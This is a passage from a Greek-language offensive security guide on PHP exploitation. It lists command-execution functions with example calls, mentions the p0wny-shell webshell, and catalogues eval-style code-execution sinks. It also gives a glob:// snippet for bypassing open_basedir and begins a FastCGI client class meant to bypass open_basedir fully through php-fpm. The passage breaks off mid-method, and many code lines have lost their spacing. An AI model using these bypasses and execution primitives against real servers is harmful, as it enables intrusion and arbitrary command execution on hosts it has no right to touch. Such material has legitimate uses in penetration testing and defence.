Σημείωση: Ένα p0wny-shell php webshell μπορεί αυτόματα να ελέγξει και να παρακάμψει την παρακάτω λειτουργία αν κάποιες από αυτές είναι απενεργοποιημένες.
exec - Επιστρέφει την τελευταία γραμμή της εξόδου των εντολών
echoexec("uname -a");
passthru - Μεταφέρει την έξοδο των εντολών απευθείας στον περιηγητή
echopassthru("uname -a");
system - Μεταφέρει την έξοδο των εντολών απευθείας στον περιηγητή και επιστρέφει την τελευταία γραμμή
echosystem("uname -a");
shell_exec - Επιστρέφει την έξοδο των εντολών
echoshell_exec("uname -a");
`` (backticks) - Ίδιο με το shell_exec()
echo`uname-a`
popen - Ανοίγει σωλήνα ανάγνωσης ή εγγραφής σε διαδικασία μιας εντολής
echofread(popen("/bin/ls /","r"),4096);
proc_open - Παρόμοιο με το popen() αλλά με μεγαλύτερο βαθμό ελέγχου
pcntl_exec - Εκτελεί ένα πρόγραμμα (κατά προτίμηση σε σύγχρονο και όχι τόσο σύγχρονο PHP, χρειάζεται να φορτώσετε το pcntl.so module για να χρησιμοποιήσετε αυτή τη λειτουργία)
mail / mb_send_mail - Αυτή η συνάρτηση χρησιμοποιείται για την αποστολή μηνυμάτων, αλλά μπορεί επίσης να καταχραστεί για να εισάγει αυθαίρετες εντολές μέσα στην παράμετρο $options. Αυτό συμβαίνει επειδή η php mail function συνήθως καλεί το δυαδικό αρχείο sendmail μέσα στο σύστημα και σας επιτρέπει να θέσετε επιπλέον επιλογές. Ωστόσο, δεν θα μπορείτε να δείτε την έξοδο της εκτελούμενης εντολής, οπότε συνιστάται να δημιουργήσετε ένα shell script που να γράφει την έξοδο σε ένα αρχείο, να το εκτελείτε χρησιμοποιώντας το mail και να εκτυπώνετε την έξοδο:
dl - Αυτή η συνάρτηση μπορεί να χρησιμοποιηθεί για να φορτώσει δυναμικά μια επέκταση PHP. Αυτή η συνάρτηση δεν θα είναι πάντα διαθέσιμη, οπότε θα πρέπει να ελέγξετε αν είναι διαθέσιμη πριν προσπαθήσετε να την εκμεταλλευτείτε. Διαβάστε αυτή τη σελίδα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη συνάρτηση.
PHP Code Execution
Εκτός από το eval, υπάρχουν άλλοι τρόποι για να εκτελέσετε κώδικα PHP: οι include/require μπορούν να χρησιμοποιηθούν για απομακρυσμένη εκτέλεση κώδικα με τη μορφή Local File Include και Remote File Include ευπαθειών.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Οι απενεργοποιημένες συναρτήσεις είναι η ρύθμιση που μπορεί να διαμορφωθεί σε αρχεία .ini στο PHP που θα απαγορεύει τη χρήση των υποδεικνυόμενων συναρτήσεων. Open basedir είναι η ρύθμιση που υποδεικνύει στο PHP τον φάκελο που μπορεί να έχει πρόσβαση.
Η ρύθμιση PHP συνήθως διαμορφώνεται στη διαδρομή /etc/php7/conf.d ή παρόμοια.
Και οι δύο ρυθμίσεις μπορούν να φανούν στην έξοδο του phpinfo():
open_basedir Bypass
open_basedir θα διαμορφώσει τους φακέλους που μπορεί να έχει πρόσβαση το PHP, δεν θα μπορείτε να γράψετε/διαβάσετε/εκτελέσετε κανένα αρχείο έξω από αυτούς τους φακέλους, αλλά επίσης δεν θα μπορείτε καν να καταγράψετε άλλους καταλόγους.
Ωστόσο, αν με κάποιο τρόπο μπορείτε να εκτελέσετε αυθαίρετο PHP κώδικα μπορείτε να δοκιμάσετε το παρακάτω κομμάτι κώδικα για να προσπαθήσετε να παρακάμψετε τον περιορισμό.
Καταγραφή φακέλων με glob:// bypass
Σε αυτό το πρώτο παράδειγμα χρησιμοποιείται το πρωτόκολλο glob:// με κάποια παράκαμψη διαδρομής:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Σημείωση1: Στο μονοπάτι μπορείτε επίσης να χρησιμοποιήσετε /e??/* για να καταγράψετε /etc/* και οποιονδήποτε άλλο φάκελο.
Σημείωση2: Φαίνεται ότι μέρος του κώδικα είναι διπλό, αλλά αυτό είναι στην πραγματικότητα απαραίτητο!
Σημείωση3: Αυτό το παράδειγμα είναι μόνο χρήσιμο για να καταγράψετε φακέλους, όχι για να διαβάσετε αρχεία.
Πλήρης παράκαμψη open_basedir εκμεταλλευόμενος το FastCGI
Αν θέλετε να μάθετε περισσότερα για το PHP-FPM και το FastCGI μπορείτε να διαβάσετε την πρώτη ενότητα αυτής της σελίδας.
Αν php-fpm είναι ρυθμισμένο, μπορείτε να το εκμεταλλευτείτε για να παρακάμψετε εντελώς το open_basedir:
Σημειώστε ότι το πρώτο πράγμα που πρέπει να κάνετε είναι να βρείτε πού είναι το unix socket του php-fpm. Συνήθως βρίσκεται κάτω από το /var/run, οπότε μπορείτε να χρησιμοποιήσετε τον προηγούμενο κώδικα για να καταγράψετε τον φάκελο και να το βρείτε.
Κώδικας από εδώ.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {